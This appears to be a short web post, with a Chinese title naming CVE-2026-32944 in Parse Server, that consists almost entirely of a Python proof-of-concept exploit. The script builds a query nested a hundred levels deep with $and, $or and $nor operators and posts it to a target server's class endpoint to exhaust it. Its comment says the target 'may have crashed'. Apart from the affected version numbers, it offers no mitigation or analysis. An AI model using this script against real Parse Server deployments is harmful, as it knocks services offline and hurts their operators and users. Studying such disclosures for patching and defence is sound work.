CVE-2026-32944 Parse Server深层嵌套查询条件拒绝服务漏洞

import requests import json # CVE-2026-32944 PoC - Deep Nested Query DoS # Target: Parse Server < 9.6.0-alpha.21 or < 8.6.45 TARGET_URL = "http://target-server:1337/parse" def create_deep_nested_query(depth=100): """Generate deeply nested query condition operators""" query = {"$nor": [{"_id": "test"}]} current = query for i in range(depth): current["$and"] = [{"$or": [{"_id": f"test{i}"}]}] current = current["$and"][0] return query def exploit_cve_2026_32944(): """Exploit deep nested query to cause DoS""" headers = { "X-Parse-Application-Id": "test-app-id", "Content-Type": "application/json" } nested_query = create_deep_nested_query(depth=100) try: response = requests.post( f"{TARGET_URL}/classes/TestClass", headers=headers, json={"where": nested_query}, timeout=30 ) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") print("Target may have crashed due to DoS vulnerability") if __name__ == "__main__": exploit_cve_2026_32944()